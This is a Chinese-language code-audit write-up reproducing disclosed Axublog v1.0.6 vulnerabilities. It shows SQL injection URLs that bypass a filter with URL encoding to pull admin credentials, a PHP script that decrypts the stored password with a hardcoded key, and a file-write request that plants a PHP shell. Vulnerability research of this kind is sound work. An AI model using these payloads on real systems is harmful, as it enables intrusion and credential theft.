代码审计:Axublog 前台 SQL 注入到后台 GetShell
背景
看了 CNVD 上有师傅发了 Axublog 的漏洞,便对该源码进行分析和漏洞复现。在复现过程中发现,可以将这些漏洞组合利用——通过前台 SQL 注入与后台任意文件上传,轻松获取 GetShell。当然该源码还存在许多安全问题,本篇未涉及。
源码下载地址原为 http://pic.axublog.com/axublog1.0.6install.rar。
前台 SQL 注入
- 源码版本:Axublog v1.0.6
- 漏洞位置:
hit.php - 漏洞链接:http://www.cnvd.org.cn/flaw/show/CNVD-2017-35761
下载源码并安装后,根据 CNVD 上的描述,存在漏洞的文件是 ad/theme.php,打开该文件进行审计。经审计发现该文件还存在其他多个漏洞,本篇先不做分析。
- 根据 CNVD 上的描述,在
hit.php文件中发现如下代码块,使用$_GET接收参数id的值并直接传入 SQL 语句进行拼接,且没有进行任何安全处理,因此存在 SQL 注入漏洞。在文件第 20 行将 SQL 语句的执行结果打印出来,所以是有回显的 SQL 注入。

-
此处是前台页面,可以直接访问,进行 SQL 注入获取数据库中的敏感信息。首先需要满足 if 条件语句的要求:使用 GET 请求
g参数值为arthit,id参数值不为空。进行如下请求后用 mysql 监控工具监测执行的 SQL 语句,确保传入的参数已经执行。 -
执行请求发现被拦截了,然后在文件第 4-5 行发现
sqlguolv方法。

-
跟入该方法,在
axublog1.0.6/class/c_other.php文件第 545-548 行找到该方法代码块。 -
该代码块使用
$_SERVER['QUERY_STRING']获取查询语句(一般是问号后面的字符串)。需要特别注意的是,$_SERVER['QUERY_STRING']返回的是原始未解码的查询字符串,而$_GET会对参数值进行一次 URL 解码。由于过滤时用$_SERVER['QUERY_STRING']接收处理,而传id值时用$_GET接收,所以可以使用 URL 编码绕过检测。
获取管理员用户名:
http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1+%55NION+ALL+%53ELECT+1,2,3,4,5,6,adnaa,8,9,10,11,12+from+axublog_adusers
获取管理员用户密码:
http://127.0.0.1/code/axublog1.0.6/hit.php?g=arthit&id=-1+%55NION+ALL+%53ELECT+1,2,3,4,5,6,adpss,8,9,10,11,12+from+axublog_adusers

-
分析时发现
axublog1.0.6/ad/login.php第 88 行中密码使用了authcode方法进行加密。 -
跟入
authcode方法,在axublog1.0.6/class/c_md5.php文件第 16-62 行找到该方法代码块。将加解密方法抓取出来,结合login.php第 88 行,可知加解密用的字符串写成了固定值key。使用如下方式即可获得从数据库中得到的管理员密码明文,然后登录后台。

<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 0;
// 随机密钥长度 取值 0-32;加入随机密钥可令密文无规律,取值为 0 时不产生随机密钥
$key = md5($key ? $key : EABAX::getAppInf('KEY'));
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
$psw = 'yYxvHseLMURYWjMXuICtH2jsBTQNdXog43es9PZUng';
echo authcode(@$psw, 'DECODE', 'key', 0);
?>
后台 GetShell
- 源码版本:Axublog v1.0.6
- 漏洞位置:
ad/theme.php - 漏洞链接:http://www.cnvd.org.cn/flaw/show/CNVD-2017-36013
- 在
ad/theme.php文件第 185-205 行发现edit2save方法,其中将$_REQUEST请求的path参数和content参数分别作为保存的路径和内容,传入file_put_contents进行保存操作。

-
追溯
edit2save方法被调用的位置,在ad/theme.php第 10-25 行发现,当 GET 传入g参数值为edit2save时便会调用该方法。 -
由于该文件需要登录后台访问,单独利用受限。但与前台 SQL 注入组合,便可使用获取到的管理员账号登录,进行如下请求验证:GET 传入
g=edit2save,POST 传入path=./evil_shell.php&content=<?php phpinfo();?>。
然后再访问 http://127.0.0.1/code/axublog1.0.6/ad/evil_shell.php,便能访问到上传的恶意文件。
写在最后
本篇涉及 Axublog 的三个主要问题:1. 前台 SQL 过滤可被绕过;2. 加密的 key 默认固定;3. 后台存在任意文件上传。利用这三个问题便可前台 GetShell。最后感谢师傅们的指导,期待和师傅们的各种交流。
(这类小型 CMS 在 2018 年前后普遍存在类似问题:过滤逻辑与参数接收方式不一致、加密 key 硬编码、后台缺乏文件操作校验。安全审计时把它们串成链,往往能从不起眼的前台漏洞一路打到 GetShell——这也是代码审计相较于自动化扫描的价值所在:人能看到漏洞之间的因果连接。)